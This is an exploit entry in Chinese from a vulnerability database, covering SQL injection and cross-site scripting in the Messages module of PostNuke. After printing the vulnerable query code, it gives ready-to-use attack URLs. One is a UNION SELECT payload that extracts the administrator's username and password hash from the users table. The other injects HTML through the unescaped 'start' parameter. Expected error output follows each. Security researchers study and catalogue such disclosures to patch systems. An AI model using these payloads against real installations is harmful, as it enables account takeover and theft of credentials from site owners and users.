Lucene search
K

PostNukeSQL注入和跨站脚本漏洞(CSS/XSS) Exploit

🗓️ 05 Dec 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

PostNukeSQL注入和跨站脚本漏洞(CSS/XSS) Exploi

Code

                                                /modules/Messages/readpmsg.php

=======================
$sql = "SELECT $column[msg_id] AS \"msg_id\",
                    $column[msg_image] AS \"msg_image\",
                    $column[subject] AS \"subject\",
                    $column[from_userid] AS \"from_userid\",
                    $column[to_userid] AS \"to_userid\",
                    $column[msg_time] AS \"msg_time\",
                    $column[msg_text] AS \"msg_text\",
                    $column[read_msg] AS \"read_msg\"
            FROM $pntable[priv_msgs]
            WHERE $column[to_userid]='" . (int)pnVarPrepForStore($userdata) . "'";

    $resultID =& $dbconn->SelectLimit($sql,1,$start);
    if($dbconn->ErrorNo()<>0) {
        error_log("DB Error: " . $dbconn->ErrorMsg());
        echo $dbconn->ErrorMsg() . "<br />";
        forumerror(0005);
    }
=======================

首先登陆到postnuke,然后向自己发送消息,之后:
http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0[SQL inj]&total_messages=1

注意:
------
total_messages=1 - total_messages的ID必须存在。

之后就可以看到以下错误消息: 

error message :
---------------
========================
You have an error in your SQL syntax; check the manual that corresponds to your MySQL \
server version for the right syntax to use near '[SQL injection],1' at line 10 \
========================

SQL注入攻击:
=======================

http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null%20FROM%20pn_users%20WHERE%20pn_uid=2/*&total_messages=1

跨站脚本攻击:
============================

http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0'<h1>cXIb8O3 and sp3x - SecurityReason</h1>&total_messages=1

然后就可以得到:

error message :
---------------
========================
You have an error in your SQL syntax; check the manual that corresponds to your MySQL \
server version for the right syntax to use near ''[Our XSS],1' at line 10 \
========================


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Dec 2006 00:00Current
7.1High risk
Vulners AI Score7.1
17